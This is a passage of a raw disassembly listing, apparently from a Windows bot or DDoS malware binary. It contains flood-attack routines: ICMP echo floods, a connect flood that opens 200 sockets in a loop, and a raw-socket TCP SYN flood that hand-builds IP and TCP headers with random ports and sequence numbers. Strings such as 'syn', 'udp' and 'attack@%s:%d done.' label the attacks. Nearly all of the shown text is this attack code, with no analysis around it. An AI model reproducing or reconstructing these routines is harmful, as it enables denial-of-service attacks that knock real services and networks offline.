		lea	ecx, [esp+34h+var_24]
		mov	[esp+34h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 24h
		retn
sub_4266A0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426820	proc near		; CODE XREF: sub_401E7Ej

var_1A		= byte ptr -1Ah
var_18		= byte ptr -18h
arg_0		= byte ptr  4
arg_FFE0	= dword	ptr  0FFE4h
arg_FFE4	= dword	ptr  0FFE8h
arg_FFE8	= dword	ptr  0FFECh
arg_FFEC	= dword	ptr  0FFF0h

		mov	eax, 0FFFCh
		call	sub_436840
		push	esi
		push	edi
		push	offset aIcmp_dll ; "ICMP.DLL"
		nop
		call	near ptr 27B0922h
		mov	esi, eax
		test	esi, esi
		jz	short loc_42688A
		mov	edi, dword_50F8A0
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	esi
		call	edi
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	esi
		mov	dword_50E150, eax
		call	edi
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	esi
		mov	dword_50E154, eax
		call	edi
		mov	ecx, dword_50E150
		mov	dword_50E14C, eax
		test	ecx, ecx
		jz	short loc_42688A
		mov	edx, dword_50E154
		test	edx, edx
		jz	short loc_42688A
		test	eax, eax
		jz	short loc_42688A
		mov	al, [esp+0Bh]
		test	al, al
		jz	short loc_426895


loc_42688A:				; CODE XREF: sub_426820+1Bj
					; sub_426820+52j ...
		pop	edi
		xor	eax, eax
		pop	esi
		add	esp, 0FFFCh
		retn
; ---------------------------------------------------------------------------


loc_426895:				; CODE XREF: sub_426820+68j
		mov	edx, [esp+24h+arg_FFE8]
		mov	eax, 0FFDCh
		cmp	edx, eax
		jle	short loc_4268AC
		mov	[esp+24h+arg_FFE8], eax


loc_4268AC:				; CODE XREF: sub_426820+83j
		push	ebx
		push	ebp
		mov	ebp, [esp+2Ch+arg_FFEC]
		cmp	ebp, 1
		jge	short loc_4268BF
		mov	ebp, 1


loc_4268BF:				; CODE XREF: sub_426820+98j
		call	ecx	; IcmpCreateFile
		mov	ebx, [esp+2Ch+arg_FFE4]
		xor	esi, esi
		test	ebx, ebx
		mov	edi, eax
		jle	short loc_426904


loc_4268D0:				; CODE XREF: sub_426820+E2j
		mov	al, byte_4D64F9
		test	al, al
		jz	short loc_426904
		mov	ecx, [esp+2Ch+arg_FFE8]
		push	ebp
		lea	eax, [esp+30h+var_18]
		push	1Ch
		push	eax
		mov	eax, [esp+38h+arg_FFE0]
		push	0
		lea	edx, [esp+3Ch+arg_0]
		push	ecx
		push	edx
		push	eax
		push	edi
		call	dword_50E14C	; IcmpSendEcho
		inc	esi
		cmp	esi, ebx
		jl	short loc_4268D0


loc_426904:				; CODE XREF: sub_426820+AEj
					; sub_426820+B7j
		push	edi
		call	dword_50E154	; IcmpCloseHandle
		pop	ebp
		pop	ebx
		pop	edi
		mov	eax, 1
		pop	esi
		add	esp, 0FFFCh
		retn
sub_426820	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426960	proc near		; CODE XREF: sub_40182Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_40187F
		mov	ecx, [esp+4+arg_C]
		mov	edx, [esp+4+arg_8]
		push	ecx
		mov	ecx, [esp+8+arg_4]
		push	edx
		push	ecx
		push	eax
		call	sub_401E7E
		add	esp, 14h
		retn
sub_426960	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4269A0	proc near		; CODE XREF: sub_401BC7j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4269A0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F7D
		push	offset aForsyn	; "forsyn"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E0FC
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4269A0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_426A10:				; CODE XREF: ___:00401A19j
					; ___:loc_401AAFj
		push	esi
		mov	esi, ecx
		call	sub_4017FD
		test	byte ptr [esp+8], 1
		jz	short loc_426A28
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_426A28:				; CODE XREF: ___:00426A1Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_426A40	proc near		; CODE XREF: sub_4017FDj
		jmp	sub_4014C4
sub_426A40	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426A60	proc near		; CODE XREF: sub_401366j

var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_1C		= dword	ptr -1Ch
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_426A60
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		mov	ebx, ecx
		xor	eax, eax
		mov	ecx, offset byte_4E5DCF
		mov	[esp+2Ch+var_28], eax


loc_426A86:				; CODE XREF: sub_426A60+35j
		cmp	dword ptr [ecx], 0
		jz	short loc_426A97
		add	ecx, 78h
		inc	eax
		cmp	ecx, offset byte_4E672F
		jl	short loc_426A86


loc_426A97:				; CODE XREF: sub_426A60+29j
		cmp	eax, 13h
		mov	[esp+2Ch+var_28], eax
		jg	loc_426C49
		lea	eax, [eax+eax*2]
		push	ebp
		push	esi
		push	edi
		lea	eax, [eax+eax*4]
		lea	ecx, [ebx+3Bh]
		lea	ebp, ds:4E5D5Bh[eax*8]
		call	sub_4017E4
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	cx, [ebx+58h]
		push	ecx
		nop
		call	near ptr 71AB2B66h
		and	eax, 0FFFFh
		mov	[ebp+64h], eax
		mov	eax, [ebx+54h]
		cmp	eax, 5
		mov	[ebp+68h], eax
		jge	short loc_426B00
		mov	dword ptr [ebp+68h], 5


loc_426B00:				; CODE XREF: sub_426A60+97j
		mov	edx, [ebx+50h]
		mov	ecx, 80h
		xor	eax, eax
		mov	edi, offset dword_50E15C
		mov	[ebp+6Ch], edx
		lea	esi, [ebx+11h]
		rep stosd
		mov	eax, [ebx+50h]
		mov	ecx, [ebx+58h]
		push	eax
		push	ecx
		lea	ecx, [ebx+3Bh]
		lea	edi, [ebx+26h]
		call	sub_4017E4
		push	eax
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		push	offset aSSUDseconds ; "%s: %s:%u (%dseconds)"
		mov	ecx, edi
		call	sub_4014D3
		mov	dl, [ebx+90h]
		push	eax
		mov	al, [ebx+8Fh]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		mov	ecx, [esp+50h+var_1C]
		add	esp, 24h
		push	offset dword_50E35C
		push	0
		push	ecx
		push	offset sub_4012C1
		push	0
		push	0
		nop
		call	near ptr 2750BE7h
		test	eax, eax
		mov	dword_50E360, eax
		jz	short loc_426B9B
		push	offset dword_446F74
		push	5
		push	eax
		push	0
		push	offset dword_50E15C
		call	sub_4013E8
		add	esp, 14h
		mov	[ebp+70h], eax
		jmp	short loc_426BCB
; ---------------------------------------------------------------------------


loc_426B9B:				; CODE XREF: sub_426A60+11Dj
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		push	offset aSErrorCreating ; "%s: error creating threads"
		mov	ecx, edi
		call	sub_4014D3
		mov	dl, [ebx+90h]
		push	eax
		mov	al, [ebx+8Fh]
		push	edx
		push	eax
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h


loc_426BCB:				; CODE XREF: sub_426A60+139j
		lea	ecx, [esp+38h+var_24]
		call	sub_401424
		mov	ecx, [ebx+58h]
		mov	[esp+38h+var_4], 0
		push	ecx
		lea	ecx, [ebx+3Bh]
		call	sub_4017E4
		push	eax
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		lea	edx, [esp+44h+var_24]
		push	offset aSAttack@SDDone ; "%s: attack@%s:%d done."
		push	edx
		call	sub_40102D
		add	esp, 14h
		lea	ecx, [esp+38h+var_24]
		call	sub_4017E4
		push	eax
		push	offset aS	; "%s"
		mov	ecx, edi
		call	sub_4014D3
		mov	cl, [ebx+8Fh]
		push	eax
		mov	al, [ebx+90h]
		push	eax
		push	ecx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 18h
		lea	ecx, [esp+38h+var_24]
		mov	[esp+38h+var_4], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		pop	ebp


loc_426C49:				; CODE XREF: sub_426A60+3Ej
		mov	ecx, [esp+2Ch+var_C]
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 28h
		retn
sub_426A60	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426CE0	proc near		; CODE XREF: sub_4012C1j

var_338		= dword	ptr -338h
var_334		= dword	ptr -334h
var_330		= dword	ptr -330h
var_32C		= dword	ptr -32Ch
var_328		= dword	ptr -328h
var_324		= dword	ptr -324h
var_320		= byte ptr -320h
arg_0		= dword	ptr  4

		sub	esp, 338h
		mov	eax, [esp+338h+arg_0]
		push	ebp
		push	esi
		mov	esi, 1
		lea	eax, [eax+eax*2]
		lea	eax, [eax+eax*4]
		lea	ebp, ds:4E5D5Bh[eax*8]
		xor	eax, eax
		mov	[esp+340h+var_334], eax
		mov	word ptr [esp+340h+var_334], 2
		mov	[ebp+74h], esi
		mov	cx, [ebp+64h]
		mov	[esp+340h+var_330], eax
		push	ecx
		mov	[esp+344h+var_32C], eax
		mov	[esp+344h+var_328], eax
		nop
		call	near ptr 71AB2B66h
		push	ebp
		mov	[esp+344h+var_324], esi
		mov	word ptr [esp+344h+var_334+2], ax
		nop
		call	near ptr 71AB2BF4h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_426D76
		push	ebp
		nop
		call	near ptr 71AB4FD4h
		xor	edx, edx
		cmp	eax, edx
		jnz	short loc_426D6F
		mov	[ebp+74h], edx
		mov	ecx, [ebp+70h]
		pop	esi
		pop	ebp
		lea	eax, [ecx+ecx*4]
		shl	eax, 4
		sub	eax, ecx
		lea	eax, [eax+eax*4]
		mov	dword_4D6775[eax*2], edx
		xor	eax, eax
		add	esp, 338h
		retn	4
; ---------------------------------------------------------------------------


loc_426D6F:				; CODE XREF: sub_426CE0+68j
		mov	ecx, [eax+0Ch]
		mov	edx, [ecx]
		mov	eax, [edx]


loc_426D76:				; CODE XREF: sub_426CE0+5Bj
		mov	[esp+340h+var_330], eax
		mov	eax, [ebp+6Ch]
		push	ebx
		push	edi
		test	eax, eax
		mov	[esp+348h+var_338], 0
		jle	loc_426E26
		mov	ebx, dword_50FC30


loc_426D95:				; CODE XREF: sub_426CE0+140j
		mov	al, byte_4D64F9
		test	al, al
		jz	loc_426E26
		lea	esi, [esp+348h+var_320]
		mov	edi, 0C8h


loc_426DAB:				; CODE XREF: sub_426CE0+EFj
		push	0
		push	1
		push	2
		call	ebx	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_426DCB
		lea	ecx, [esp+348h+var_324]
		push	ecx
		push	8004667Eh
		push	eax
		nop
		call	near ptr 71AB4519h


loc_426DCB:				; CODE XREF: sub_426CE0+D8j
		add	esi, 4
		dec	edi
		jnz	short loc_426DAB
		lea	esi, [esp+348h+var_320]
		mov	edi, 0C8h


loc_426DDA:				; CODE XREF: sub_426CE0+10Ej
		mov	eax, [esi]
		lea	edx, [esp+348h+var_334]
		push	10h
		push	edx
		push	eax
		nop
		call	near ptr 71AB406Ah
		add	esi, 4
		dec	edi
		jnz	short loc_426DDA
		mov	ecx, [ebp+68h]
		push	ecx
		nop
		call	near ptr 2801E3Fh
		lea	esi, [esp+348h+var_320]
		mov	edi, 0C8h


loc_426E03:				; CODE XREF: sub_426CE0+130j
		mov	edx, [esi]
		push	edx
		nop
		call	near ptr 71AB9639h
		add	esi, 4
		dec	edi
		jnz	short loc_426E03
		mov	eax, [esp+348h+var_338]
		mov	ecx, [ebp+6Ch]
		inc	eax
		cmp	eax, ecx
		mov	[esp+348h+var_338], eax
		jl	loc_426D95


loc_426E26:				; CODE XREF: sub_426CE0+A9j
					; sub_426CE0+BCj
		xor	edx, edx
		pop	edi
		mov	[ebp+74h], edx
		mov	ecx, [ebp+70h]
		pop	ebx
		pop	esi
		lea	eax, [ecx+ecx*4]
		pop	ebp
		shl	eax, 4
		sub	eax, ecx
		lea	eax, [eax+eax*4]
		mov	dword_4D6775[eax*2], edx
		xor	eax, eax
		add	esp, 338h
		retn	4
sub_426CE0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426EB0	proc near		; CODE XREF: sub_401DD9j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_426EB0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F7D
		push	offset aSyn	; "syn"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E10C
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_426EB0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426F20	proc near		; CODE XREF: ___:004016DBj sub_40181Bj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4010FF
		test	[esp+4+arg_0], 1
		jz	short loc_426F38
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_426F38:				; CODE XREF: sub_426F20+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_426F20	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_426F50	proc near		; CODE XREF: sub_4010FFj
		jmp	sub_4014C4
sub_426F50	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_426F70	proc near		; CODE XREF: sub_401E92j

var_24		= byte ptr -24h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_426F70
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+54h]
		mov	ecx, [esi+50h]
		mov	edx, [esi+58h]
		lea	edi, [esi+3Bh]
		push	eax
		push	ecx
		push	edx
		mov	ecx, edi
		lea	ebx, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		push	offset aSSUUsecDms ; "%s: %s:%u	(%usec/%dms)"
		mov	ecx, ebp
		call	sub_4014D3
		mov	cl, [esi+8Fh]
		push	eax
		mov	al, [esi+90h]
		push	eax
		push	ecx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 28h
		lea	ecx, [esp+34h+var_24]
		call	sub_401424
		mov	edx, [esi+54h]
		mov	eax, [esi+50h]
		mov	ecx, [esi+58h]
		push	edx
		push	eax
		push	ecx
		mov	ecx, edi
		mov	[esp+40h+var_4], 0
		call	sub_4014D3
		push	eax
		call	sub_401DB6
sub_426F70	endp

; ---------------------------------------------------------------------------
		cdq
		and	edx, 3FFh
		add	esp, 10h
		add	eax, edx
		mov	ecx, edi
		sar	eax, 0Ah
		cdq
		idiv	dword ptr [esi+50h]
		mov	edx, [esi+58h]
		push	eax
		push	edx
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		lea	eax, [esp+20h]
		push	offset aSSDIkbSec ; "%s: %s:%d (%ikb/sec)"
		push	eax
		call	sub_40102D
		add	esp, 18h
		lea	ecx, [esp+10h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4014D3
		mov	cl, [esi+90h]
		mov	dl, [esi+8Fh]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 14h
		mov	dword ptr [esp+30h], 0FFFFFFFFh
		lea	ecx, [esp+10h]
		call	sub_401226
		mov	ecx, [esp+28h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 24h
		retn
; ---------------------------------------------------------------------------
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4270E0	proc near		; CODE XREF: sub_401BB3j

var_95		= byte ptr -95h
var_8C		= dword	ptr -8Ch
var_3C		= byte ptr -3Ch
var_3B		= byte ptr -3Bh

		sub	esp, 98h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ecx, 0Eh
		xor	eax, eax
		lea	edi, [esp+0A8h+var_3B]
		mov	[esp+0A8h+var_3C], 0
		rep stosd
		stosw
		xor	esi, esi
		push	0FFh
		push	esi
		mov	[esp+0B0h+var_8C], esi
		stosb
		mov	[esp+0B0h+var_95], 0
		call	sub_4021A3
sub_4270E0	endp

; ---------------------------------------------------------------------------
		push	0FFh
		push	esi
		mov	[esp+24h], al
		call	sub_4021A3
; ---------------------------------------------------------------------------
		push	0FFh
		push	esi
		mov	[esp+2Dh], al
		call	sub_4021A3
; ---------------------------------------------------------------------------
		push	0FFh
		push	esi
		mov	[esp+36h], al
		call	sub_4021A3
; ---------------------------------------------------------------------------
		add	esp, 20h
		cmp	[esp+0B4h], si
		mov	[esp+17h], al
		jnz	short loc_427171
		push	2710h
		push	3E8h
		mov	byte ptr [esp+1Bh], 1
		call	sub_4021A3
; ---------------------------------------------------------------------------
		add	esp, 8
		mov	[esp+0B4h], eax


loc_427171:				; CODE XREF: ___:00427151j
		push	1
		push	esi
		push	esi
		push	0FFh
		push	3
		push	2
		mov	dword ptr [esp+64h], 1
		nop
		call	near ptr 71AB8769h
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[esp+18h], edi
		jnz	short loc_4271A4
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 98h
		retn
; ---------------------------------------------------------------------------


loc_4271A4:				; CODE XREF: ___:00427195j
		lea	eax, [esp+4Ch]
		push	4
		push	eax
		push	2
		push	esi
		push	edi
		nop
		call	near ptr 71AB3EA1h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4271C7


loc_4271BA:				; CODE XREF: ___:0042736Fj
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 98h
		retn
; ---------------------------------------------------------------------------


loc_4271C7:				; CODE XREF: ___:004271B8j
		mov	ecx, [esp+0B4h]
		mov	ebp, dword_50FC2C
		push	ecx
		mov	word ptr [esp+60h], 2
		call	ebp	; ntohs
		mov	ebx, [esp+0ACh]
		push	28h
		mov	[esp+62h], ax
		mov	[esp+64h], ebx
		mov	byte ptr [esp+24h], 45h
		call	ebp	; ntohs
		push	4000h
		mov	[esp+26h], ax
		mov	word ptr [esp+28h], 1
		mov	[esp+2Ah], si
		mov	byte ptr [esp+2Ch], 80h
		mov	byte ptr [esp+2Dh], 6
		mov	[esp+2Eh], si
		mov	[esp+34h], ebx
		mov	byte ptr [esp+44h], 50h
		mov	byte ptr [esp+45h], 2
		call	ebp	; ntohs
		mov	[esp+42h], ax
		mov	[esp+46h], si
		mov	[esp+3Ch], esi
		call	near ptr 27C08B0h
		nop
		mov	[esp+48h], eax
		mov	al, byte_4D64F9
		test	al, al
		jz	loc_42741B
		mov	ebx, dword_50FABC
		mov	byte ptr [esp+58h], 0
		mov	byte ptr [esp+59h], 6
		jmp	short loc_427265
; ---------------------------------------------------------------------------
		xor	esi, esi


loc_427265:				; CODE XREF: ___:00427261j
		mov	edi, [esp+1Ch]
		mov	edx, [esp+0B4h]
		inc	edi
		push	edx
		mov	[esp+20h], edi
		mov	[esp+48h], si
		call	ebp	; ntohs
		push	14h
		mov	[esp+3Ah], ax
		call	ebp	; ntohs
		mov	[esp+5Ah], ax
		mov	eax, [esp+14h]
		push	eax
		nop
		call	near ptr 71AB2BC0h
		mov	esi, eax
		mov	[esp+2Ch], esi
		call	ebx	; rand
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	ebp	; ntohs
		mov	[esp+34h], ax
		call	ebx	; rand
		mov	edi, eax
		shl	edi, 10h
		call	ebx	; rand
		or	edi, eax
		push	edi
		call	ebp	; ntohs
		mov	edx, [esp+0ACh]
		and	eax, 0FFFFh
		mov	[esp+38h], eax
		mov	eax, [esp+58h]
		mov	[esp+6Ch], esi
		mov	ecx, 5
		lea	esi, [esp+34h]
		lea	edi, [esp+78h]
		mov	[esp+70h], edx
		mov	[esp+74h], eax
		rep movsd
		lea	ecx, [esp+6Ch]
		push	20h
		push	ecx
		call	sub_401A28
		mov	ecx, 5
		lea	esi, [esp+28h]
		lea	edi, [esp+74h]
		lea	edx, [esp+74h]
		rep movsd
		mov	ecx, 5
		lea	esi, [esp+3Ch]
		lea	edi, [esp+88h]
		mov	[esp+4Ch], ax
		push	28h
		push	edx
		rep movsd
		mov	dword ptr [esp+0A4h], 0
		call	sub_401A28
		mov	edx, [esp+28h]
		add	esp, 10h
		mov	[esp+2Ah], ax
		mov	ecx, 5
		lea	esi, [esp+20h]
		lea	edi, [esp+6Ch]
		lea	eax, [esp+5Ch]
		push	10h
		rep movsd
		push	eax
		push	0
		lea	ecx, [esp+78h]
		push	28h
		push	ecx
		push	edx
		call	near ptr 71AB2C69h
		nop
		cmp	eax, 0FFFFFFFFh
		jz	loc_4271BA
		nop
		call	near ptr 27C08B0h
		mov	edx, [esp+48h]
		mov	ecx, eax
		sub	ecx, edx
		mov	eax, 10624DD3h
		mul	ecx
		mov	eax, [esp+0B8h]
		shr	edx, 6
		cmp	edx, eax
		ja	short loc_427417
		mov	al, [esp+13h]
		test	al, al
		jz	short loc_4273B9
		push	2710h
		push	3E8h
		call	sub_4021A3
; ---------------------------------------------------------------------------
		add	esp, 8
		mov	[esp+0B4h], eax


loc_4273B9:				; CODE XREF: ___:0042739Ej
		push	0FFh
		push	0
		call	sub_4021A3
; ---------------------------------------------------------------------------
		push	0FFh
		push	0
		mov	[esp+24h], al
		call	sub_4021A3
; ---------------------------------------------------------------------------
		push	0FFh
		push	0
		mov	[esp+2Dh], al
		call	sub_4021A3
; ---------------------------------------------------------------------------
		push	0FFh
		push	0
		mov	[esp+36h], al
		call	sub_4021A3
; ---------------------------------------------------------------------------
		db 8Bh,	94h, 24h
		dd 0DCh, 8820C483h, 52172444h, 3DAA36E8h, 0F9A09002h, 84004D64h
		dd 4C850FC0h
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_427417:				; CODE XREF: ___:00427396j
		mov	edi, [esp+18h]


loc_42741B:				; CODE XREF: ___:0042724Bj
		push	edi
		nop
		call	near ptr 71AB9639h
		mov	eax, [esp+1Ch]
		pop	edi
		pop	esi
		pop	ebp
		lea	eax, [eax+eax*4+5]
		pop	ebx
		shl	eax, 2
		add	esp, 98h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 0E0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_427520	proc near		; CODE XREF: sub_401DB6j

arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		mov	eax, [esp+arg_0]
		push	esi
		push	eax
		call	sub_40187F
		mov	esi, eax
		nop
		call	near ptr 77C371D3h
		and	eax, 800001FFh
		jns	short loc_427541
		dec	eax
		or	eax, 0FFFFFE00h
		inc	eax


loc_427541:				; CODE XREF: sub_427520+18j
		mov	ecx, [esp+4+arg_10]
		mov	edx, [esp+4+arg_C]
		push	ecx
		mov	ecx, [esp+8+arg_8]
		lea	eax, [eax+esi+100h]
		push	edx
		push	ecx
		push	eax
		push	esi
		call	sub_401BB3
sub_427520	endp

; ---------------------------------------------------------------------------
		add	esp, 18h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427590	proc near		; CODE XREF: sub_401785j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427590
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F7D
		push	offset aUdp	; "udp"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E11C
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_427590	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427600	proc near		; CODE XREF: ___:004014ECj sub_40222Aj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401159
		test	[esp+4+arg_0], 1
		jz	short loc_427618
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_427618:				; CODE XREF: sub_427600+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_427600	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_427630	proc near		; CODE XREF: sub_401159j
		jmp	sub_4014C4
sub_427630	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427650	proc near		; CODE XREF: sub_401A05j

var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427650
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	eax, [esi+54h]
		mov	ecx, [esi+60h]
		mov	edx, [esi+5Ch]
		push	eax
		mov	eax, [esi+58h]
		lea	edi, [esi+3Bh]
		push	ecx
		push	edx
		push	eax
		mov	ecx, edi
		lea	ebx, [esi+11h]
		lea	ebp, [esi+26h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		push	offset aSSUUtUbDms ; "%s: %s:%u	(%ut/%ub/%dms)"
		mov	ecx, ebp
		call	sub_4014D3
		mov	cl, [esi+90h]
		mov	dl, [esi+8Fh]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 2Ch
		lea	ecx, [esp+34h+var_24]
		call	sub_401424
		mov	eax, [esi+58h]
		mov	ecx, [esi+54h]
		mov	edx, [esi+60h]
		push	eax
		mov	eax, [esi+5Ch]
		push	ecx
		push	edx
		push	eax
		mov	ecx, edi
		mov	[esp+44h+var_4], 0
		call	sub_4014D3
		push	eax
		call	sub_401730
		add	esp, 14h
		test	eax, eax
		jz	short loc_42771E
		mov	ecx, [esi+5Ch]
		mov	edx, [esi+58h]
		push	ecx
		push	edx
		mov	ecx, edi
		call	sub_4017E4
		push	eax
		mov	ecx, ebx
		call	sub_4017E4
		push	eax
		lea	eax, [esp+44h+var_24]
		push	offset aSSDDone	; "%s: %s:%d done"
		push	eax
		call	sub_40102D
		add	esp, 18h


loc_42771E:				; CODE XREF: sub_427650+A2j
		lea	ecx, [esp+34h+var_24]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4014D3
		mov	cl, [esi+90h]
		mov	dl, [esi+8Fh]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 14h
		lea	ecx, [esp+34h+var_24]
		mov	[esp+34h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+34h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 24h
		retn
sub_427650	endp

; ---------------------------------------------------------------------------
		db 90h
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4277C0	proc near		; CODE XREF: sub_401730j

var_36		= word ptr -36h
